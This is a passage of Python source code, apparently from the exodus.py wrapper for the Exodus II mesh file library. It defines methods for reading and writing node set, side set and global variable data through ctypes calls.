print(f'WARNING: Node set variable \\\"{name}\\\" already exists.')\n        if index > len(NSvarNames):\n            raise Exception(\"ERROR: variable index out of range.\")\n        self.__ex_put_variable_name('EX_NODE_SET', index, name)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_node_set_variable_values(self, object_id, name, step):\n        \"\"\"\n        get list of node set variable values for a specified node\n        set, node set variable name, and time step; the list has\n        one variable value per node in the set\n\n        >>> nsvar_vals =\n        ...   exo.get_node_set_variable_values(node_set_id,\n        ...    nsvar_name, time_step)\n\n        Parameters\n        ----------\n            <int>     node_set_id  node set *ID* (not *INDEX*)\n            <string>  nsvar_name   name of node set variable\n            <int>     time_step    1-based index of time step\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<ctypes.c_double>>  nsvar_vals\n\n            if array_type == 'numpy':\n              <np_array<double>>  nsvar_vals\n        \"\"\"\n        return self.get_variable_values('EX_NODE_SET', object_id, name, step)\n\n    # --------------------------------------------------------------------\n\n    def get_partial_node_set_variable_values(self, object_id, name, step, start_index, num_nodes):\n        \"\"\"\n        get list of node set variable values for a specified node\n        set, node set variable name, and time step; the list has\n        one variable value per node in the set\n\n        >>> nsvar_vals =\n        ...   exo.get_node_set_variable_values(node_set_id,\n        ...    nsvar_name, time_step)\n\n        Parameters\n        ----------\n            <int>     node_set_id  node set *ID* (not *INDEX*)\n            <string>  nsvar_name   name of node set variable\n            <int>     time_step    1-based index of time step\n            <int>     start_index 1-based index of node to start returning data\n            <int>     num_nodes   number of nodes to return data for.\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<ctypes.c_double>>  nsvar_vals\n\n            if array_type == 'numpy':\n              <np_array<double>>  nsvar_vals\n        \"\"\"\n        names = self.get_variable_names('EX_NODE_SET')\n        var_id = names.index(name) + 1\n        values = self.__ex_get_partial_var(step, 'EX_NODE_SET', var_id, object_id, start_index, num_nodes)\n        if self.use_numpy:\n            values = ctype_to_numpy(self, values)\n        return values\n\n    # --------------------------------------------------------------------\n\n    def put_node_set_variable_values(self, object_id, name, step, values):\n        \"\"\"\n        store a list of node set variable values for a specified node\n        set, node set variable name, and time step; the list has one\n        variable value per node in the set\n\n        >>> status =\n        ... exo.put_node_set_variable_values(node_set_id,\n        ...     nsvar_name, time_step, nsvar_vals)\n\n        Parameters\n        ----------\n            <int>          node_set_id  node set *ID* (not *INDEX*)\n            <string>       nsvar_name   name of node set variable\n            <int>          time_step    1-based index of time step\n            <list<float>>  nsvar_vals\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.put_variable_values('EX_NODE_SET', object_id, name, step, values)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_all_node_set_params(self):\n        \"\"\"\n        get total number of nodes and distribution factors (e.g. nodal\n        'weights') combined among all node sets\n\n        >>> tot_num_ns_nodes,\n        ... tot_num_ns_dist_facts = exo.get_all_node_set_params()\n\n        Returns\n        -------\n            <int>  tot_num_ns_nodes\n            <int>  tot_num_ns_dist_facts\n        \"\"\"\n        nodeSetIds = self.__ex_get_ids('EX_NODE_SET')\n        totNumSetNodes, totNumSetDistFacts = 0, 0\n        for nodeSetId in nodeSetIds:\n            (numSetNodes, numSetDistFacts) = self.__ex_get_set_param('EX_NODE_SET', nodeSetId)\n            totNumSetNodes += numSetNodes\n            totNumSetDistFacts += numSetDistFacts\n        return totNumSetNodes, totNumSetDistFacts\n\n    # --------------------------------------------------------------------\n\n    def get_set_params(self, object_type, object_id):\n        \"\"\"\n        get number of entities and distribution factors (e.g. nodal\n        'weights') in the specified set\n\n        >>> num_ns_nodes, num_ns_dist_facts =\n        ...     exo.get_set_params('EX_NODE_SET', node_set_id)\n\n        Parameters\n        ----------\n        set_id : int\n            set *ID* (not *INDEX*)\n\n        Returns\n        -------\n        num_set_entities : int\n        num_set_dist_facts : int\n        \"\"\"\n        (numSetEntities, numSetDistFacts) = self.__ex_get_set_param(object_type, object_id)\n        return numSetEntities, numSetDistFacts\n\n    # --------------------------------------------------------------------\n\n    def put_set_params(self, object_type, object_id, numSetEntity, numSetDistFacts=None):\n        \"\"\"\n        initialize a new set of the specified type\n\n        >>> exo.put_set_params('EX_NODE_SET', node_set_id,\n        ...                 num_ns_nodes, num_ns_dist_facts)\n\n        Parameters\n        ----------\n        set_id : int\n            set *ID* (not *INDEX*)\n        num_set_entity : int\n            number of nodes/edges/faces/elements to be added to set\n        num_dist_facts : int, optional\n            number of distribution factors (e.g. nodal 'weights') --\n            must be equal to zero or num_set_entity\n        \"\"\"\n        if numSetDistFacts is None:\n            numSetDistFacts = numSetEntity\n        assert numSetDistFacts in (0, numSetEntity)\n        self.__ex_put_set_param(object_type, object_id, numSetEntity, numSetDistFacts)\n\n    # --------------------------------------------------------------------\n\n    def get_node_set_params(self, object_id):\n        \"\"\" See `exodus.put_set_params` \"\"\"\n\n        (numSetNodes, numSetDistFacts) = self.__ex_get_set_param('EX_NODE_SET', object_id)\n        return numSetNodes, numSetDistFacts\n\n    # --------------------------------------------------------------------\n\n    def put_node_set_params(self, object_id, numSetNodes, numSetDistFacts=None):\n        \"\"\" See `exodus.put_set_params` \"\"\"\n        if numSetDistFacts is None:\n            numSetDistFacts = numSetNodes\n        assert numSetDistFacts in (0, numSetNodes)\n        self.__ex_put_set_param('EX_NODE_SET', object_id, numSetNodes, numSetDistFacts)\n\n    # --------------------------------------------------------------------\n\n    def get_node_set_property_names(self):\n        \"\"\"\n        get the list of node set property names for all node sets in\n        the model\n\n        >>> nsprop_names = exo.get_node_set_property_names()\n\n        Returns\n        -------\n            <list<string>>  nsprop_names\n        \"\"\"\n        names = self.__ex_get_prop_names('EX_NODE_SET', 'EX_INQ_NS_PROP')\n        return list(names)\n\n    # --------------------------------------------------------------------\n\n    def get_node_set_property_value(self, object_id, name):\n        \"\"\"\n        get node set property value (an integer) for a specified node\n        set and node set property name\n\n        >>> nsprop_val = exo.get_node_set_property_value(node_set_id, nsprop_name)\n\n        Parameters\n        ----------\n            <int>     node_set_id  node set *ID* (not *INDEX*)\n            <string>  nsprop_name\n\n        Returns\n        -------\n            <int>  nsprop_val\n        \"\"\"\n        propVal = self.__ex_get_prop('EX_NODE_SET', object_id, name)\n        return int(propVal)\n\n    # --------------------------------------------------------------------\n\n    def put_node_set_property_value(self, object_id, name, value):\n        \"\"\"\n        store a node set property name and its integer value for a\n        node set\n\n        >>> status = exo.put_node_set_property_value(node_set_id,\n        ...                   nsprop_name, nsprop_val)\n\n        Parameters\n        ----------\n            <int>     node_set_id  node set *ID* (not *INDEX*)\n            <string>  nsprop_name\n            <int>     nsprop_val\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        return self.__ex_put_prop('EX_NODE_SET', object_id, name, value)\n\n    #\n    # sidesets\n    #\n    # --------------------------------------------------------------------\n\n    def num_side_sets(self):\n        \"\"\"\n        get the number of side sets in the model\n\n        >>> num_side_sets = exo.num_side_sets()\n\n        Returns\n        -------\n            <int>  num_side_sets\n        \"\"\"\n        return self.numSideSets.value\n\n    # --------------------------------------------------------------------\n\n    def get_side_set_ids(self):\n        \"\"\"\n        get mapping of exodus side set index to user- or application-\n        defined side set id; side_set_ids is ordered\n        by the *INDEX* ordering, a 1-based system going from\n        1 to exo.num_side_sets(), used by exodus for storage\n        and input/output of array data stored on the side sets; a\n        user or application can optionally use a separate side set\n        *ID* numbering system, so the side_set_ids array points to the\n        side set *ID* for each side set *INDEX*\n\n        >>> side_set_ids = exo.get_ids('EX_SIDE_SET')\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  side_set_ids\n\n            if array_type == 'numpy':\n              <np_array<int>>  side_set_ids\n        \"\"\"\n        return self.get_ids('EX_SIDE_SET')\n\n    # --------------------------------------------------------------------\n\n    def get_side_set_name(self, object_id):\n        \"\"\"\n        get the name of a side set\n\n        >>> side_set_name = exo.get_side_set_name(side_set_id)\n\n        Parameters\n        ----------\n            <int>  side_set_id  side set *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <string>  side_set_name\n        \"\"\"\n        return self.__ex_get_name('EX_SIDE_SET', object_id)\n\n    # --------------------------------------------------------------------\n\n    def put_side_set_name(self, object_id, name):\n        \"\"\"\n        store the name of a side set\n\n        >>> exo.put_side_set_name(side_set_id, side_set_name)\n\n        Parameters\n        ----------\n            <int>     side_set_id    side set *ID* (not *INDEX*)\n            <string>  side_set_name\n        \"\"\"\n        self.__ex_put_name('EX_SIDE_SET', object_id, name)\n\n    # --------------------------------------------------------------------\n\n    def get_side_set_names(self):\n        \"\"\"\n        get a list of all side set names ordered by side set *INDEX*;\n        (see `exodus.get_ids` for explanation of the\n        difference between side set *ID* and side set *INDEX*)\n\n        >>> side_set_names = exo.get_side_set_names()\n\n        Returns\n        -------\n            <list<string>>  side_set_names\n        \"\"\"\n        return self.__ex_get_names('EX_SIDE_SET')\n\n    # --------------------------------------------------------------------\n\n    def put_side_set_names(self, names):\n        \"\"\"\n        store a list of all side set names ordered by side set *INDEX*;\n        (see `exodus.get_ids` for explanation of the\n        difference between side set *ID* and side set *INDEX*)\n\n        >>> exo.put_side_set_names(side_set_names)\n\n        Parameters\n        ----------\n            <list<string>>  side_set_names\n        \"\"\"\n        self.__ex_put_names('EX_SIDE_SET', names)\n\n    # --------------------------------------------------------------------\n\n    def num_faces_in_side_set(self, object_id):\n        \"\"\"\n        get the number of faces in a side set\n\n        >>> num_ss_faces = exo.num_faces_in_side_set(side_set_id)\n\n        Parameters\n        ----------\n            <int>  side_set_id  side set *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <int>  num_ss_faces\n        \"\"\"\n        ssids = self.get_ids('EX_SIDE_SET')\n        if object_id not in ssids:\n            print(\"WARNING: queried side set ID does not exist in database\")\n            return 0\n        (num_side_in_set, _num_dist_fact_in_set) = self.__ex_get_set_param('EX_SIDE_SET', object_id)\n        return num_side_in_set\n\n    # --------------------------------------------------------------------\n\n    def get_all_side_set_params(self):\n        \"\"\"\n        get total number of sides, nodes, and distribution factors\n        (e.g. nodal 'weights') combined among all side sets\n\n        >>> tot_num_ss_sides, tot_num_ss_nodes, tot_num_ss_dist_facts =\n        ...          exo.get_all_side_set_params()\n\n        Returns\n        -------\n            <int>  tot_num_ss_sides\n            <int>  tot_num_ss_nodes\n            <int>  tot_num_ss_dist_facts\n\n        Note:\n        -----\n        The number of nodes (and distribution factors) in a side set is\n        the sum of all face nodes.  A single node can be counted more\n        than once, i.e. once for each face it belongs to in the side set.\n        \"\"\"\n        ids = self.__ex_get_ids('EX_SIDE_SET')\n        totNumSetSides, totNumSetDistFacts = 0, 0  # totNumSetDistFacts = totNumSetNodes\n        for sideSetId in ids:\n            (numSetSides, numSetDistFacts) = self.__ex_get_set_param('EX_SIDE_SET', sideSetId)\n            totNumSetSides += numSetSides\n            totNumSetDistFacts += numSetDistFacts\n        totNumSetNodes = totNumSetDistFacts\n        return totNumSetSides, totNumSetNodes, totNumSetDistFacts\n\n    # --------------------------------------------------------------------\n\n    def get_side_set_params(self, object_id):\n        \"\"\"\n        get number of sides and nodal distribution factors (e.g. nodal\n        'weights') in a side set\n\n        >>> num_ss_sides, num_ss_dist_facts = exo.get_side_set_params(side_set_id)\n\n        Parameters\n        ----------\n            <int>  side_set_id  side set *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <int>  num_ss_sides\n            <int>  num_ss_dist_facts\n\n        Note:\n        -----\n        The number of nodes (and distribution factors) in a side set is\n        the sum of all face nodes.  A single node can be counted more\n        than once, i.e. once for each face it belongs to in the side set.\n        \"\"\"\n        (numSetSides, numSetDistFacts) = self.__ex_get_set_param('EX_SIDE_SET', object_id)\n        return numSetSides, numSetDistFacts\n\n    # --------------------------------------------------------------------\n\n    def put_side_set_params(self, object_id, numSetSides, numSetDistFacts):\n        \"\"\"\n        initialize a new side set\n\n        >>> exo.put_side_set_params(side_set_id, num_ss_sides, num_ss_dist_facts)\n\n        Parameters\n        ----------\n            <int>  side_set_id        side set *ID* (not *INDEX*)\n            <int>  num_ss_sides       number of sides to be added to set\n            <int>  num_ss_dist_facts  number of nodal distribution factors\n              (e.g. nodal 'weights')\n\n        Note:\n        -----\n        The number of nodes (and distribution factors) in a side set is\n        the sum of all face nodes.  A single node can be counted more\n        than once, i.e. once for each face it belongs to in the side set.\n        \"\"\"\n        self.__ex_put_set_param('EX_SIDE_SET', object_id, numSetSides, numSetDistFacts)\n\n    # --------------------------------------------------------------------\n\n    def get_side_set(self, object_id):\n        \"\"\"\n        get the lists of element and side indices in a side set; the\n        two lists correspond: together, ss_elems[i] and ss_sides[i]\n        define the face of an element\n\n        >>> ss_elems, ss_sides = exo.get_side_set(side_set_id)\n\n        Parameters\n        ----------\n            <int>  side_set_id  side set *ID* (not *INDEX*)\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  ss_elems\n              <list<int>>  ss_sides\n\n            if array_type == 'numpy':\n              <np_array<int>>  ss_elems\n              <np_array<int>>  ss_sides\n        \"\"\"\n        (side_set_elem_list, side_set_side_list) = self.__ex_get_side_set(object_id)\n        if self.use_numpy:\n            side_set_elem_list = ctype_to_numpy(self, side_set_elem_list)\n            side_set_side_list = ctype_to_numpy(self, side_set_side_list)\n        return side_set_elem_list, side_set_side_list\n\n    # --------------------------------------------------------------------\n\n    def put_side_set(self, object_id, sideSetElements, sideSetSides):\n        \"\"\"\n        store a side set by its id and the lists of element and side\n        indices in the side set; the two lists correspond: together,\n        ss_elems[i] and ss_sides[i] define the face of an element\n\n        >>> exo.put_side_set(side_set_id, ss_elems, ss_sides)\n\n        Parameters\n        ----------\n            <int>        side_set_id  side set *ID* (not *INDEX*)\n            <list<int>>  ss_elems\n            <list<int>>  ss_sides\n        \"\"\"\n        self.__ex_put_side_set(object_id, sideSetElements, sideSetSides)\n\n    # --------------------------------------------------------------------\n\n    def get_side_set_dist_fact(self, object_id):\n        \"\"\"\n        get the list of distribution factors for nodes in a side set\n\n        >>> ss_dist_facts = exo.get_side_set_dist_fact(side_set_id)\n\n        Parameters\n        ----------\n            <int>        side_set_id  side set *ID* (not *INDEX*)\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<float>>  ss_dist_facts  a list of distribution factors,\n                e.g. nodal 'weights'\n\n            if array_type == 'numpy':\n              <np_array<double>>  ss_dist_facts  a list of distribution\n                factors, e.g. nodal\n                'weights'\n\n        Note:\n        -----\n        The number of nodes (and distribution factors) in a side set is\n        the sum of all face nodes.  A single node can be counted more\n        than once, i.e. once for each face it belongs to in the side set.\n        \"\"\"\n        side_set_dfs = list(self.__ex_get_side_set_dist_fact(object_id))\n        if self.use_numpy:\n            side_set_dfs = self.np.array(side_set_dfs)\n        return side_set_dfs\n\n    # --------------------------------------------------------------------\n\n    def put_side_set_dist_fact(self, object_id, sideSetDistFact):\n        \"\"\"\n        store the list of distribution factors for nodes in a side set\n\n        >>> exo.put_side_set_dist_fact(side_set_id, ss_dist_facts)\n\n        Parameters\n        ----------\n            <int>          node_set_id    node set *ID* (not *INDEX*)\n            <list<float>>  ns_dist_facts  a list of distribution factors,\n              e.g. nodal 'weights'\n\n        Note:\n        -----\n        The number of nodes (and distribution factors) in a side set is\n        the sum of all face nodes.  A single node can be counted more\n        than once, i.e. once for each face it belongs to in the side set.\n        \"\"\"\n        self.__ex_put_side_set_dist_fact(object_id, sideSetDistFact)\n\n    # --------------------------------------------------------------------\n\n    def get_side_set_node_list(self, object_id):\n        \"\"\"\n        get two lists:\n         1. number of nodes for each side in the set\n         2. concatenation of the nodes for each side in the set\n\n        >>> ss_num_nodes_per_side, ss_nodes = exo.get_side_set_node_list(side_set_id)\n\n        Parameters\n        ----------\n            <int>        side_set_id  side set *ID* (not *INDEX*)\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  ss_num_side_nodes\n              <list<int>>  ss_nodes\n\n            if array_type == 'numpy':\n              <np_array<int>>  ss_num_side_nodes\n              <np_array<int>>  ss_nodes\n\n        Note:\n        -----\n        The number of nodes (and distribution factors) in a side set is\n        the sum of all face nodes.  A single node can be counted more\n        than once, i.e. once for each face it belongs to in the side set.\n        \"\"\"\n        (side_set_node_cnt_list,\n         side_set_node_list) = self.__ex_get_side_set_node_list(object_id)\n        if self.use_numpy:\n            side_set_node_cnt_list = ctype_to_numpy(\n                self, side_set_node_cnt_list)\n            side_set_node_list = ctype_to_numpy(self, side_set_node_list)\n        return side_set_node_cnt_list, side_set_node_list\n\n    # --------------------------------------------------------------------\n\n    def get_side_set_variable_truth_table(self, entId=None):\n        \"\"\"\n        See `exodus.get_variable_truth_table`\n        \"\"\"\n        return self.get_variable_truth_table('EX_SIDE_SET', entId)\n\n    # --------------------------------------------------------------------\n\n    def set_side_set_variable_truth_table(self, table):\n        \"\"\"\n        See `exodus.set_variable_truth_table`\n        \"\"\"\n        return self.set_variable_truth_table('EX_SIDE_SET', table)\n\n    # --------------------------------------------------------------------\n\n    def get_side_set_variable_number(self):\n        \"\"\"\n        get the number of side set variables in the model\n\n        >>> num_ssvars = exo.get_side_set_variable_number()\n\n        Returns\n        -------\n              <int>  num_ssvars\n        \"\"\"\n        return self.__ex_get_variable_param('EX_SIDE_SET').value\n\n    # --------------------------------------------------------------------\n\n    def set_side_set_variable_number(self, number):\n        \"\"\"\n        update the number of side set variables in the model\n\n        >>> status = exo.set_side_set_variable_number(num_ssvars)\n\n        Parameters\n        ----------\n              <int>  num_ssvars\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.__ex_put_variable_param('EX_SIDE_SET', number)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_side_set_variable_names(self):\n        \"\"\"\n        get the list of side set variable names in the model\n\n        >>> ssvar_names = exo.get_side_set_variable_names()\n\n        Returns\n        -------\n              <list<string>>  ssvar_names\n        \"\"\"\n        if self.__ex_get_variable_param('EX_SIDE_SET').value == 0:\n            return []\n        return self.__ex_get_variable_names('EX_SIDE_SET')\n\n    # --------------------------------------------------------------------\n\n    def put_side_set_variable_name(self, name, index):\n        \"\"\"\n        add the name and index of a new side set variable to the model;\n        side set variable indexing goes from 1 to\n        exo.get_side_set_variable_number()\n\n        >>> status = exo.put_side_set_variable_name(ssvar_name, ssvar_index)\n\n        Parameters\n        ----------\n            <string>  ssvar_name   name of new side set variable\n            <int>     ssvar_index  1-based index of new side set variable\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n\n        Note:\n        -----\n        this method is often called within the following sequence:\n\n        >>> num_ssvars = exo.get_side_set_variable_number()\n        >>> new_ssvar_index = num_ssvars + 1\n        >>> num_ssvars += 1\n        >>> exo.set_side_set_variable_number(num_ssvars)\n        >>> exo.put_side_set_variable_name(\"new_ssvar\", new_ssvar_index)\n\n        \"\"\"\n        SSvarNames = self.get_variable_names('EX_SIDE_SET')\n        if name in SSvarNames:\n            print(f'WARNING: Side set variable \\\"{name}\\\" already exists.')\n        if index > len(SSvarNames):\n            raise Exception(\"ERROR: variable index out of range.\")\n        self.__ex_put_variable_name('EX_SIDE_SET', index, name)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_side_set_variable_values(self, object_id, name, step):\n        \"\"\"\n        get list of side set variable values for a specified side\n        set, side set variable name, and time step; the list has\n        one variable value per side in the set\n\n        >>> ssvar_vals = exo.get_side_set_variable_values(side_set_id,\n        ...    ssvar_name, time_step)\n\n        Parameters\n        ----------\n            <int>     side_set_id  side set *ID* (not *INDEX*)\n            <string>  ssvar_name   name of side set variable\n            <int>     time_step    1-based index of time step\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<ctypes.c_double>>  ssvar_vals\n\n            if array_type == 'numpy':\n              <np_array<double>>  ssvar_vals\n        \"\"\"\n        return self.get_variable_values('EX_SIDE_SET', object_id, name, step)\n\n    # --------------------------------------------------------------------\n\n    def get_partial_side_set_variable_values(self, object_id, name, step, start_index, num_sides):\n        \"\"\"\n        get list of side set variable values for a specified side\n        set, side set variable name, and time step; the list has\n        one variable value per side in the set\n\n        >>> ssvar_vals = exo.get_side_set_variable_values(side_set_id,\n        ...    ssvar_name, time_step)\n\n        Parameters\n        ----------\n            <int>     side_set_id  side set *ID* (not *INDEX*)\n            <string>  ssvar_name   name of side set variable\n            <int>     time_step    1-based index of time step\n            <int>     start_index 1-based index of side to start returning data\n            <int>     num_nodes   number of sides to return data for.\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<ctypes.c_double>>  ssvar_vals\n\n            if array_type == 'numpy':\n              <np_array<double>>  ssvar_vals\n        \"\"\"\n        names = self.get_variable_names('EX_SIDE_SET')\n        var_id = names.index(name) + 1\n        values = self.__ex_get_partial_var(step, 'EX_SIDE_SET', var_id, object_id, start_index, num_sides)\n        if self.use_numpy:\n            values = ctype_to_numpy(self, values)\n        return values\n\n    # --------------------------------------------------------------------\n\n    def put_side_set_variable_values(self, object_id, name, step, values):\n        \"\"\"\n        store a list of side set variable values for a specified side\n        set, side set variable name, and time step; the list has one\n        variable value per side in the set\n\n        >>> status = exo.put_side_set_variable_values(side_set_id,\n        ...              ssvar_name, time_step, ssvar_vals)\n\n        Parameters\n        ----------\n            <int>          side_set_id  side set *ID* (not *INDEX*)\n            <string>       ssvar_name   name of side set variable\n            <int>          time_step    1-based index of time step\n            <list<float>>  ssvar_vals\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.put_variable_values('EX_SIDE_SET', object_id, name, step, values)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_side_set_property_names(self):\n        \"\"\"\n        get the list of side set property names for all side sets in\n        the model\n\n        >>> ssprop_names = exo.get_side_set_property_names()\n\n        Returns\n        -------\n            <list<string>>  ssprop_names\n        \"\"\"\n        names = self.__ex_get_prop_names('EX_SIDE_SET', 'EX_INQ_SS_PROP')\n        return list(names)\n\n    # --------------------------------------------------------------------\n\n    def get_side_set_property_value(self, object_id, name):\n        \"\"\"\n        get side set property value (an integer) for a specified side\n        set and side set property name\n\n        >>> ssprop_val = exo.get_side_set_property_value(side_set_id, ssprop_name)\n\n        Parameters\n        ----------\n            <int>     side_set_id  side set *ID* (not *INDEX*)\n            <string>  ssprop_name\n\n        Returns\n        -------\n            <int>  ssprop_val\n        \"\"\"\n        propVal = self.__ex_get_prop('EX_SIDE_SET', object_id, name)\n        return int(propVal)\n\n    # --------------------------------------------------------------------\n\n    def put_side_set_property_value(self, object_id, name, value):\n        \"\"\"\n        store a side set property name and its integer value for a\n        side set\n\n        >>> status = exo.put_side_set_property_value(side_set_id,\n        ...               ssprop_name, ssprop_val)\n\n        Parameters\n        ----------\n            <int>     side_set_id  side set *ID* (not *INDEX*)\n            <string>  ssprop_name\n            <int>     ssprop_val\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        return self.__ex_put_prop('EX_SIDE_SET', object_id, name, value)\n\n    #\n    # global variables\n    #\n    # --------------------------------------------------------------------\n\n    def get_global_variable_number(self):\n        \"\"\"\n        get the number of global variables in the model\n\n        >>> num_gvars = exo.get_global_variable_number()\n\n        Returns\n        -------\n              <int>  num_gvars\n        \"\"\"\n        return self.__ex_get_variable_param('EX_GLOBAL').value\n\n    # --------------------------------------------------------------------\n\n    def set_global_variable_number(self, number):\n        \"\"\"\n        update the number of global variables in the model\n\n        >>> status = exo.set_global_variable_number(num_gvars)\n\n        Parameters\n        ----------\n              <int>  num_gvars\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.__ex_put_variable_param('EX_GLOBAL', number)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_global_variable_names(self):\n        \"\"\"\n        get the list of global variable names in the model\n\n        >>> gvar_names = exo.get_global_variable_names()\n\n        Returns\n        -------\n              <list<string>>  gvar_names\n        \"\"\"\n        if self.get_variable_number('EX_GLOBAL') == 0:\n            return []\n        return self.__ex_get_variable_names('EX_GLOBAL')\n\n    # --------------------------------------------------------------------\n\n    def put_global_variable_name(self, name, index):\n        \"\"\"\n        add the name and index of a new global variable to the model;\n        global variable indexing goes from 1 to\n        exo.get_global_variable_number()\n\n        >>> status = exo.put_global_variable_name(gvar_name, gvar_index)\n\n        Parameters\n        ----------\n            <string>  gvar_name   name of new global variable\n            <int>     gvar_index  1-based index of new global variable\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n\n        Note:\n        -----\n        this method is often called within the following sequence:\n\n        >>> num_gvars = exo.get_global_variable_number()\n        >>> new_gvar_index = num_gvars + 1\n        >>> num_gvars += 1\n        >>> exo.set_global_variable_number(num_gvars)\n        >>> exo.put_global_variable_name(\"new_gvar\", new_gvar_index)\n        \"\"\"\n        GlobVarNames = self.get_variable_names('EX_GLOBAL')\n        if name in GlobVarNames:\n            print(f'WARNING: Global variable \\\"{name}\\\" already exists.')\n        if index > len(GlobVarNames):\n            print((\"index\", index, \"len\", len(GlobVarNames)))\n            raise Exception(\"ERROR: variable index out of range.\")\n        self.__ex_put_variable_name('EX_GLOBAL', index, name)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_global_variable_value(self, name, step):\n        \"\"\"\n        get a global variable value for a specified global variable\n        name and time step\n\n        >>> gvar_val = exo.get_global_variable_value(gvar_name, time_step)\n\n        Parameters\n        ----------\n            <string>  gvar_name  name of global variable\n            <int>     time_step  1-based index of time step\n\n        Returns\n        -------\n            <float>  gvar_val\n        \"\"\"\n        names = self.get_variable_names('EX_GLOBAL')\n        var_id = names.index(name)\n        num = self.__ex_get_variable_param('EX_GLOBAL')\n        gvalues = self.__ex_get_var(step, 'EX_GLOBAL', 0, 1, num.value)\n        return gvalues[var_id]\n\n    # --------------------------------------------------------------------\n\n    def get_all_global_variable_values(self, step):\n        \"\"\"\n        get all global variable values (one for each global variable\n        name, and in the order given by exo.get_global_variable_names())\n        at a specified time step\n\n        >>> gvar_vals = exo.get_all_global_variable_values(time_step)\n\n        Parameters\n        ----------\n            <int>     time_step  1-based index of time step\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<float>>  gvar_vals\n\n            if array_type == 'numpy':\n              <np_array<double>>  gvar_vals\n        \"\"\"\n        num = self.__ex_get_variable_param('EX_GLOBAL')\n        gvalues = self.__ex_get_var(step, 'EX_GLOBAL', 0, 1, num.value)\n        values = [gvalues[i] for i in range(num.value)]\n        if self.use_numpy:\n            values = self.np.array(values)\n        return values\n\n    # --------------------------------------------------------------------\n\n    def put_global_variable_value(self, name, step, value):\n        \"\"\"\n        store a global variable value for a specified global variable\n        name and time step\n\n        >>> status = exo.put_global_variable_value(gvar_name, time_step, gvar_val)\n\n        Parameters\n        ----------\n            <string>  gvar_name  name of global variable\n            <int>     time_step  1-based index of time step\n            <float>   gvar_val\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        # we must write all values at once, not individually\n        names = self.get_variable_names('EX_GLOBAL')\n        # get all values\n        numVals = self.get_variable_number('EX_GLOBAL')\n        values = (ctypes.c_double * numVals)()\n        for i in range(numVals):\n            values[i] = ctypes.c_double(\n                self.get_global_variable_value(\n                    names[i], step))\n        # adjust one of them\n        values[names.index(name)] = ctypes.c_double(value)\n        # write them all\n        EXODUS_LIB.ex_put_var(self.fileId,\n                              ctypes.c_int(step),\n                              ctypes.c_int(get_entity_type('EX_GLOBAL')),\n                              ctypes.c_int(1),\n                              ctypes.c_int(0),\n                              ctypes.c_int(numVals),\n                              values)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def put_all_global_variable_values(self, step, values):\n        \"\"\"\n        store all global variable values (one for each global variable\n        name, and in the order given by exo.get_global_variable_names())\n        at a specified time step\n\n        >>> status = exo.put_all_global_variable_values(time_step, gvar_vals)\n\n        Parameters\n        ----------\n            <int>          time_step  1-based index of time step\n            <list<float>>  gvar_vals\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        numVals = self.get_variable_number('EX_GLOBAL')\n        gvalues = (ctypes.c_double * numVals)()\n        for i in range(numVals):\n            gvalues[i] = ctypes.c_double(values[i])\n        EXODUS_LIB.ex_put_var(self.fileId,\n                              ctypes.c_int(step),\n                              ctypes.c_int(get_entity_type('EX_GLOBAL')),\n                              ctypes.c_int(1),\n                              ctypes.c_int(0),\n                              ctypes.c_int(numVals),\n                              gvalues)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_global_variable_values(self, name):\n        \"\"\"\n        get global variable values over all time steps for one global\n        variable name\n\n        >>> gvar_vals = exo.get_global_variable_values(gvar_name)\n\n        Parameters\n        ----------\n            <string>  gvar_name  name of global variable\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<float>>  gvar_vals\n\n            if array_type == 'numpy':\n              <np_array<double>>  gvar_vals\n        \"\"\"\n        names = self.get_variable_names('EX_GLOBAL')\n        var_id = names.index(name)\n        num = self.__ex_get_variable_param('EX_GLOBAL')\n        values = []\n        for i in range(self.numTimes.value):\n            gvalues = self.__ex_get_var(i + 1, 'EX_GLOBAL', 0, 1, num.value)\n            values.append(gvalues[var_id])\n        if self.use_numpy:\n            values = self.np.array(values)\n        return values\n\n    # --------------------------------------------------------------------\n\n    def put_polyhedra_elem_blk(self, blkID,\n                               num_elems_this_blk,\n                               num_faces,\n                               num_attr_per_elem):\n        \"\"\"\n        put in an element block with polyhedral elements\n\n        >>> status = exo.put_polyhedra_elem_blk(blkID, num_elems_this_blk,\n        ...                                     num_faces, num_attr_per_elem)\n\n        Parameters\n        ----------\n            <int>     blkID               id of the block to be added\n            <int>     num_elems_this_blk\n            <int>     num_faces  total number of faces in this block\n            <int>     num_attr_per_elem\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n\n        ebType = ctypes.c_int(get_entity_type('EX_ELEM_BLOCK'))\n        